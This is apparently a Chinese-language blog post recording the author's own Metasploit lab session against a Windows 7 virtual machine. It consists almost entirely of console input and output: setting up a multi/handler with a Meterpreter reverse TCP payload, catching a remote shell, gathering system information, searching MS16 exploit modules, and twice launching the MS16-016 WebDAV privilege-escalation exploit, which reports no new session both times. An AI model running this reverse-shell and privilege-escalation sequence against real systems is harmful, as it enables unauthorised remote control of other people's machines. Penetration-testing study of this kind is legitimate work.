metersploit msf 常用命令
MSF命令大全详解
我自己操作的示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 | └─$ msfconsole msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '' , seh, thread, process, none) LHOST yes The listen address (an interface ma y be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf6 exploit(multi/handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 msf6 exploit(multi/handler) > set LPORT 2222 LPORT => 2222 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 0.0.0.0:2222 [*] Sending stage (175686 bytes) to 192.168.58.130 [*] Meterpreter session 1 opened (192.168.58.128:2222 -> 192.168.58.130:49159) at 2022-09-10 07:28:12 -0400 meterpreter > getuid Server username: WIN-GA25B01M0QR\bonelee meterpreter > getpid Current pid: 3580 meterpreter > sysinfo Computer : WIN-GA25B01M0QR OS : Windows 7 (6.1 Build 7601, Service Pack 1). Architecture : x86 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows meterpreter > search ms16 [-] You must specify a valid file glob to search for , e.g. >search -f *.doc meterpreter > backgroud [-] Unknown command: backgroud meterpreter > background [*] Backgrounding session 1... msf6 exploit(multi/handler) > search ms16 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/browser/ms16_051_vbscript 2016-05-10 normal No Internet Explorer 11 VBScript Engine Memory Corruption 1 auxiliary/gather/ie_sandbox_findfiles 2016-08-09 normal No Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability 2 exploit/windows/local/ms16_016_webdav 2016-02-09 excellent Yes MS16-016 mrxdav.sys WebDav Local Privilege Escalation 3 exploit/windows/local/ms16_032_secondary_logon_handle_privesc 2016-03-21 normal Yes MS16-032 Secondary Logon Handle Privilege Escalation 4 auxiliary/server/netbios_spoof_nat 2016-06-14 normal No NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel) 5 exploit/windows/fileformat/office_ole_multiple_dll_hijack 2015-12-08 normal No Office OLE Multiple DLL Side Loading Vulnerabilities 6 exploit/windows/local/ms16_075_reflection 2016-01-16 normal Yes Windows Net-NTLMv2 Reflection DCOM/RPC 7 exploit/windows/local/ms16_075_reflection_juicy 2016-01-16 great Yes Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy) 8 exploit/windows/local/ms16_014_wmi_recv_notif 2015-12-04 normal Yes Windows WMI Receive Notification Exploit Interact with a module by name or index. For example info 8, use 8 or use exploit/windows/local/ms16_014_wmi_recv_notif msf6 exploit(multi/handler) > use exploit/windows/local/ms16_016_webdav [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/local/ms16_016_webdav) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/win WIN-GA25B01M0QR\bone 192.168.58.128:2222 dows lee @ WIN-GA25B01M0Q -> 192.168.58.130:49 R 159 (192.168.58.130) msf6 exploit(windows/local/ms16_016_webdav) > set session 1 session => 1 msf6 exploit(windows/local/ms16_016_webdav) > show options Module options (exploit/windows/local/ms16_016_webdav): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION 1 yes The session to run this module on Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '' , seh, thread, process, none) LHOST 192.168.58.128 yes The listen address (an interface ma y be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows 7 SP1 msf6 exploit(windows/local/ms16_016_webdav) > run [*] Started reverse TCP handler on 192.168.58.128:4444 [*] Launching a process to host the payload DLL, then reflectively injecting the DLL and running it... [*] Launching netsh to host the DLL... [+] Process 2232 launched. [*] Reflectively injecting the DLL into 2232... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Exploit completed, but no session was created. msf6 exploit(windows/local/ms16_016_webdav) > run [*] Started reverse TCP handler on 192.168.58.128:4444 [*] Launching a process to host the payload DLL, then reflectively injecting the DLL and running it... [*] Launching msiexec to host the DLL... [+] Process 2596 launched. [*] Reflectively injecting the DLL into 2596... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Exploit completed, but no session was created. msf6 exploit(windows/local/ms16_016_webdav) > ps [*] exec: ps PID TTY TIME CMD 2056 pts/1 00:00:00 zsh 19181 pts/1 00:00:10 ruby 20290 pts/1 00:00:00 ps msf6 exploit(windows/local/ms16_016_webdav) > [*] You have active sessions open, to exit anyway type "exit -y" msf6 exploit(windows/local/ms16_016_webdav) > backgroud [-] Unknown command: backgroud msf6 exploit(windows/local/ms16_016_webdav) > background [-] Unknown command: background msf6 exploit(windows/local/ms16_016_webdav) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/win WIN-GA25B01M0QR\bone 192.168.58.128:2222 dows lee @ WIN-GA25B01M0Q -> 192.168.58.130:49 R 159 (192.168.58.130) msf6 exploit(windows/local/ms16_016_webdav) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: WIN-GA25B01M0QR\bonelee meterpreter > dir Listing: C:\Users\bonelee\Desktop ================================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100777/rwxrwxrwx 73802 fil 2022-09-10 06:58:13 -0400 1.exe 100666/rw-rw-rw- 282 fil 2022-09-10 06:53:27 -0400 desktop.ini 100666/rw-rw-rw- 10928 fil 2022-09-10 07:23:10 -0400 sys_win32.txt |